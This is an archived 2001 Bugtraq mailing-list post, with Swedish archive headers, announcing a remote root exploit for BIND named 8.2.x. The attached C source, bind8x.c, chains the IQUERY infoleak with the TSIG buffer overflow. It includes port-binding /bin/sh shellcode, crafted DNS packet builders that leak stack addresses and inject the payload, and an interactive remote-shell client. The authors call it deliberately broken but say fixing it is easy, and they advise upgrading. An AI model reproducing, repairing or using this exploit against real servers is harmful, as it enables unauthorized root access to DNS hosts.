6053031 2001-02-04 20:34 +0200  /17 rader/ Lucian Hudin <luci@WARP.TRANSART.RO>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-06  04:10  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: luci@WARP.TRANSART.RO
Mottagare: Bugtraq (import) <15244>
Ärende: real named 8.2.x exploit [broken]
------------------------------------------------------------

 Hello, bugtraq readers,
 Ix & me decided to post this exploit for recently discovered
bugs in named. This exploit is pretty much broken, because of
the impact it might have. Due to sufficient information available
on the net (about the TSIG bug, and about the IQUERY INFOLEAK bug),
anyone should be able to write that.
 It is strongly recommended that you upgrade your named to the latest
version available on ISC's ftp site (ftp://ftp.isc.org/isc/bind).


 Regards,
 Ix,
 LucySoft
(6053031) ------------------------------------------
Bilaga (text/plain) i text 6053032
6053032 2001-02-04 20:34 +0200  /497 rader/ Lucian Hudin <luci@WARP.TRANSART.RO>
Bilagans filnamn: "bind8x.c"
Importerad: 2001-02-06  04:10  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: luci@WARP.TRANSART.RO
Mottagare: Bugtraq (import) <15245>
Bilaga (text/plain) till text 6053031
Ärende: Bilaga (bind8x.c) till: real named 8.2.x exploit [broken]
------------------------------------------------------------
/* 
 * lame named 8.2.x remote exploit by 
 *
 *   Ix		[adresadeforward@yahoo.com] (the master of jmpz), 
 *   lucysoft	[lucysoft@hotmail.com] (the master of queries)
 *
 * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
 * linux only shellcode
 * this is only for demo purposes, we are not responsable in any way for what you do with this code.
 *
 * flamez 	- canaris
 * greetz	- blizzard, netman.
 * creditz	- anathema <anathema@hack.co.za> for the original shellcode
 *  		- additional code ripped from statdx exploit by ron1n
 *
 * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
 * if you understand how it works, it won't be too hard to un-broke it 
 */



#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =
/* main: */
"\xeb\x7b"                                /* jmp callz               */ // 2 - 2
/* start: */
"\x5e"                                    /* popl %esi               */ // 1 - 3

  /* socket() */
"\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                                    /* incl %eax               */ // 1 - 9
"\x89\xc3"                                /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                                    /* incl %eax               */ // 1 - 15
"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"                                /* int $0x80               */ // 2 - 25

  /* bind() */
"\x43"                                    /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"                                /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */ // 3 - 44
"\xb0\x90"                                /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 59

"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 61
"\xcd\x80"                                /* int $0x80               */ // 2 - 2

  /* listen() */
"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
"\x43"                                    /* incl %ebx               */
"\x43"                                    /* incl %ebx               */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */

  /* accept() */
"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */ // 3 - 5
"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */ // 3 - 8
"\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 10
"\x43"                                    /* incl %ebx               */ // 1 - 11
"\xcd\x80"                                /* int $0x80               */ // 1 - 12

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                                /* xchgb %al, %bl          */ // 2 - 14
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 16
"\x29\xc9"                                /* subl %ecx, %ecx         */ // 2 - 18
"\xcd\x80"                                /* int $0x80               */ // 2 - 20
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 22
"\x41"                                    /* incl %ecx               */ // 1 - 23
"\xcd\x80"                                /* int $0x80               */ // 2 - 25
"\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 27
"\x41"                                    /* incl %ecx               */ // 1 - 28
"\xcd\x80"                                /* int $0x80               */ // 2 - 30

  /* execve() */
"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */ // 3 - 33
"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */ // 3 - 36
"\x87\xf3"                                /* xchgl %esi, %ebx        */ // 2 - 38
"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */ // 3 - 41
"\xb0\x0b"                                /* movb $0x0b, %al         */ // 2 - 44
"\xcd\x80"                                /* int $0x80               */ // 2 = 46

"\x99\x99\x99\x99\x99\x99\x99"

/* callz: */
"\xe8\x70\xff\xff\xff"                    /* call start              */ // 5 - 51
"/bin/sh\0";														    // 8 - 59

unsigned long resolve_host(char* host)
{
	long res;
	struct hostent* he;

	if (0 > (res = inet_addr(host)))
	{
		if (!(he = gethostbyname(host)))
			return(0);
		res = *(unsigned long*)he->h_addr;
	}
	return(res);
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "uname -a; id;\n", 15, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            if(send(sockd, buff, ret, 0) != ret)
            {
                fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}


connection(struct sockaddr_in host)
{
	int sockd;

	host.sin_port = htons(36864);

	printf("connecting..\n");
	usleep(2000);

	if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		exit(EXIT_FAILURE);
	}

	if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
	{
		printf("wait for your shell..\n");
		usleep(500);
	        runshell(sockd);
	}
	else
	{
		printf("error: named not vulerable or wrong offsets used\n");
	}

	close(sockd);
}




int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = htons(0xff);
        
        memset(buff, 0, BUFFSIZE);
        hdr = (HEADER*)buff;

        hdr->id = htons(0xbeef);
        hdr->opcode  = IQUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(0);
        hdr->nscount = htons(0);
        hdr->ancount = htons(1);
        hdr->arcount = htons(0);
        

	ptr = buff + sizeof(HEADER);        
	
	n = 62;
	
	for (k = 0; k < dummy_names; k++)
	{
		*ptr++ = n;
		ptr += n;
		
	}

        PUTSHORT(htons(1/*ns_t_a*/), ptr);              /* type */
        PUTSHORT(htons(T_A), ptr);                      /* class */
        PUTLONG(htons(1), ptr);                		/* ttl */
                       
	PUTSHORT(evil_size, ptr);			/* our *evil* size */
	
	return(ptr - buff + qry_space);
	
}

                                                                        

int evil_query(char* buff, int offset)
{
	int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
	HEADER* hdr;
	char *ptr;
	int k, bufflen;
	u_int n, m;
	u_short s;
	int i;
	int shelloff, shellstarted;
	int towrite, ourpack;
	int n_dummy_rrs = 7;

	shelladdr = offset - 0x200;

        lameaddr  = shelladdr + 0x300;
	
	ourpack = offset - 0x250 + 2;
	towrite = (offset & ~0xff) - ourpack - 6;

	rroffsetidx = towrite / 70;
	offset0 = towrite - rroffsetidx * 70;

	if ((offset0 > 52) || (rroffsetidx > 6))
	{
		printf("could not write our data in buffer\n");
		return(-1);
	}
		
	rrshellidx = 1;
	deplshellcode = 2;
	
	hdr = (HEADER*)buff;
	
	memset(buff, 0, BUFFSIZE);
	
	/* complete the header */
	
	hdr->id = htons(0xdead);
	hdr->opcode  = QUERY;
	hdr->rd      = 1;
	hdr->ra      = 1;
	hdr->qdcount = htons(n_dummy_rrs);
	hdr->ancount = htons(0);
	hdr->arcount = htons(1);
	
	ptr = buff + sizeof(HEADER);
	
	shellstarted = 0;
	shelloff = 0;
	
	n = 63;
	for (k = 0; k < n_dummy_rrs; k++)
	{
		*ptr++ = (char)n;
		
		for(i = 0; i < n-2; i++)
		{
			if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
			{
				printf("* injecting shellcode\n", k);
				shellstarted = 1;
			}
		
			if ((k == rroffsetidx) && (i == offset0 + 0))
			{
				*ptr++ = lameaddr & 0x000000ff;
				i++;
				*ptr++ = (lameaddr & 0x0000ff00) >> 8;
				i++;
				*ptr++ = (lameaddr & 0x00ff0000) >> 16;
				i++;
				*ptr++ = (lameaddr & 0xff000000) >> 24;
			}
			else if ((k == rroffsetidx) && (i == offset0 + 8))
			{
                                *ptr++ = argevdisp1 & 0x000000ff;
                                i++;
                                *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (argevdisp1 & 0xff000000) >> 24;
				i++;
                                *ptr++ = argevdisp2 & 0x000000ff;
                                i++;
                                *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
                                i++;
                                *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
                                i++;
                                *ptr++ = (argevdisp2 & 0xff000000) >> 24;
			} else
			if ((k == rroffsetidx) && (i == offset0 + 4))
			{
				*ptr++ = shelladdr & 0x000000ff;
				i++;
				*ptr++ = (shelladdr & 0x0000ff00) >> 8;
				i++;
				*ptr++ = (shelladdr & 0x00ff0000) >> 16;
				i++;
				*ptr++ = (shelladdr & 0xff000000) >> 24;
			}
			else
			{
				if (shellstarted)
				{
					*ptr++ = shellcode[shelloff++];	
				}
				else
				{
					*ptr++ = i;
				}
			}
		}
		
		*ptr++ = 0x90; 
		
		if (k == 0)
		{
			*ptr++ = 0x09;
			
			m = 2;
			
			*ptr++ = (char)m;
			for(i = 0; i < m; i++)
			{
				*ptr++ = i;
			}
		}
		else
		{
			*ptr++ = 0x07;
		}
		
		*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
		
		ptr += 5;
	}
	
	s = htons(0xfa) /* ns_t_tsig */;
	PUTLONG(s, ptr);
	
	for (k = 0; k < 1; k++)
	{
		*ptr++ = 0x90;
	}

	bufflen = ptr - buff;
	return(bufflen);		
}


long xtract_offset(char* buff)
{
	long ret;
	
	ret = *((long*)&buff[0x214]);

	argevdisp1 = 0x080d7cd0;
	argevdisp2 = *((long*)&buff[0x264]);

	return(ret);
}




int main(int argc, char* argv[])
{
	struct sockaddr_in sa;
	int sock;
	long address;
	char buff[BUFFSIZE];
	int len, i;
	long offset;
	socklen_t reclen;

	printf("named 8.2.x (< 8.2.3-REL) remote root exploit by
lucysoft, Ix\n\n");

	address = 0;
	if (argc < 2)
	{
		printf("usage : %s host\n", argv[0]);

		return(-1);
	}

	if (!(address = resolve_host(argv[1])))
	{
		printf("unable to resolve %s, try using an IP address\n", argv[1]);
		return(-1);
	}
	
	sa.sin_family = AF_INET;

	if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
	{
		return(-1);
	}
	
	sa.sin_family = AF_INET;
	sa.sin_port = htons(53);
	sa.sin_addr.s_addr= address;
	
	
	len = infoleak_qry(buff);
	len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	if (len < 0)
	{
		printf("unable to send iquery\n");
		return(-1);
	}
	
	reclen = sizeof(sa);
	len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
	if (len < 0)
	{
                printf("unable to receive iquery answer\n");
                return(-1);	
	}
	printf("iquery resp len = %d\n", len);
	
	offset = xtract_offset(buff);
	printf("retrieved stack offset = %x\n", offset);
	
	
	len = evil_query(buff, offset);
	
	sendto(sock, buff, len, 0 , (struct sockaddr *)&sa,
sizeof(sa));
	
	if (0 > close(sock))
	{
		return(-1);
	}

	connection(sa);

	return(0);	
}
(6053032) --------------------------------(Ombruten)